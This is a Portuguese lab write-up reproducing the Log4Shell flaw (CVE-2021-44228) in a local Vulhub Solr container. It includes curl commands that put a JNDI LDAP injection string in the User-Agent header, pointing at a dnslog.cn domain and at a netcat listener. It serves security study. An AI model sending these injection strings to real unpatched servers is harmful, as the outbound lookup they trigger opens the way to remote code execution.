Registro Completo de Reprodução da Vulnerabilidade CVE-2021-44228 (Log4Shell)

Este registro baseia-se no ambiente de teste Apache Solr 8.11.0 fornecido pelo Vulhub, reproduzindo completamente a vulnerabilidade de injeção JNDI do Log4j2, validando a existência da vulnerabilidade com sucesso através de DNSLog e escuta LDAP local.

1. Ambiente Experimental

• Sistema Operacional: Windows 11 + WSL2 (Ubuntu)
• Plataforma de Contêineres: Docker Desktop 4.76
• Fonte do Cenário: Vulhub (vulhub/log4j/CVE-2021-44228)
• Serviço Alvo: Apache Solr 8.11.0 (com log4j-core 2.14.1)
• Máquina Atacante: Host local (funciona como cliente DNSLog e ouvinte LDAP simultaneamente)

2. Processo de Configuração do Ambiente

2.1 Obter o Código Fonte do Vulhub

Devido à instabilidade da conexão direta com o GitHub, use o espelho Gitee para acelerar:

cd D:\\SecWork
git clone https://gitee.com/hanxu2486/vulhub.git

2.2 Resolver Problemas de Pull de Imagens Docker em Redes Domésticas

Configure o acelerador de imagens dedicado da Alibaba Cloud (faça login no Container Image Service para obter seu endereço pessoal):

Abra Docker Desktop → Settings → Docker Engine

Modifique registry-mirrors:

{
  "registry-mirrors": ["https://xxxxx.mirror.aliyuncs.com"]
}

Clique em Apply & Restart

Se ainda encontrar TLS handshake timeout, entre no WSL e execute sudo hwclock -s para sincronizar o horário.

2.3 Iniciar o Contêiner Solr

cd D:\SecWork\vulhub\log4j\CVE-2021-44228
docker-compose up -d

A saída mostra sucesso:

✔ Image vulhub/solr:8.11.0    Pulled    117.7s
✔ Container cve-2021-44228-solr-1    Started

Acesse http://localhost:8983/solr e a interface de gerenciamento do Solr aparecerá, ambiente pronto.

3. Etapas de Reprodução da Vulnerabilidade

3.1 Criar Core de Teste

Por padrão, o Solr não possui core, é necessário criar manualmente:

curl "http://localhost:8983/solr/admin/cores?action=CREATE&name=test&configSet=_default"

Retorna "status":0, core test criado com sucesso.

3.2 Usar DNSLog para Verificar a Existência da Vulnerabilidade

Abra o navegador e acesse http://dnslog.cn, clique em Get SubDomain, obtenha um domínio temporário, por exemplo abc123.dnslog.cn

Execute no terminal (use curl.exe para evitar interferência de alias do PowerShell):

curl.exe -H 'User-Agent: ${jndi:ldap://abc123.dnslog.cn/test}' 'http://localhost:8983/solr/test/select?q=*:*'

Volte para a página http://dnslog.cn, clique em Refresh Record, e um registro de resolução DNS aparecerá imediatamente, provando que a vulnerabilidade existe.

3.3 Verificação com Escuta Local (Verificação Aprofundada)

Inicie a escuta no WSL: nc -lvp 1389

Obtenha o IP do host (no Windows PowerShell execute ipconfig, encontre o IP da placa de rede virtual do WSL, por exemplo 172.30.208.1)

Envie a requisição maliciosa com o IP local:

curl.exe -H 'User-Agent: ${jndi:ldap://172.30.208.1:1389/test}' 'http://localhost:8983/solr/test/select?q=*:*'

Observe a janela do nc, que mostra informações de conexão:

connect to [172.30.208.1] from localhost [127.0.0.1] 54321

Isso prova que o Solr iniciou com sucesso uma consulta LDAP para a máquina atacante, a reprodução da vulnerabilidade foi bem-sucedida.

4. Breve Explicação do Princípio da Vulnerabilidade

A funcionalidade JndiLookup fornecida pelo Apache Log4j2 permite o uso de espaços reservados no formato ${jndi:ldap://...} em mensagens de log. Quando a mensagem de log é registrada, o Log4j2 analisa o espaço reservado e tenta acessar um servidor LDAP remoto via JNDI. Um atacante pode configurar um servidor LDAP malicioso para retornar um payload de desserialização Java, realizando assim execução remota de código.

Nesta reprodução, configurando o cabeçalho User-Agent como payload malicioso, o Solr registrou essas informações de cabeçalho ao processar a requisição, acionando a consulta JNDI, comprovando a existência da vulnerabilidade.

5. Resumo dos Resultados do Experimento

✅ Configuração bem-sucedida do ambiente de vulnerabilidade Vulhub, superando diversos problemas em redes domésticas (DNS hijacking, aceleração de espelho, sincronização de horário do WSL, etc.).

✅ Gatilho da vulnerabilidade concluído de forma independente, validando a injeção JNDI através de DNSLog e escuta local.

✅ Compreensão aprofundada do princípio da vulnerabilidade Log4Shell e da cadeia de ataque da injeção JNDI.

✅ Experiência prática acumulada em solução de problemas de rede Docker, configuração do WSL2, limpeza de proxy Git, etc.

6. Resumo da Experiência de Solução de Problemas

7. Lista Completa de Comandos

# Clone o Vulhub (usando espelho Gitee)
git clone https://gitee.com/hanxu2486/vulhub.git

# Entre no diretório da vulnerabilidade
cd D:\SecWork\vulhub\log4j\CVE-2021-44228

# Inicie o ambiente
docker-compose up -d

# Crie o Solr Core
curl "http://localhost:8983/solr/admin/cores?action=CREATE&name=test&configSet=_default"

# Verificação DNSLog
curl -H 'User-Agent: ${jndi:ldap://your.dnslog.cn/test}' 'http://localhost:8983/solr/test/select?q=*:*'

# Verificação de escuta local (execute nc no WSL)
nc -lvp 1389
curl -H 'User-Agent: ${jndi:ldap://your.wsl.ip:1389/test}' 'http://localhost:8983/solr/test/select?q=*:*'

# Feche o ambiente
docker-compose down

8. Links de Referência

• Projeto Oficial do Vulhub
• Detalhes do CVE-2021-44228
• Plataforma DNSLog

Data de escrita: Junho de 2026 Autor: HanXu Repositório: https://github.com/hmxh123/Log4Shell-Vulnerability-Replication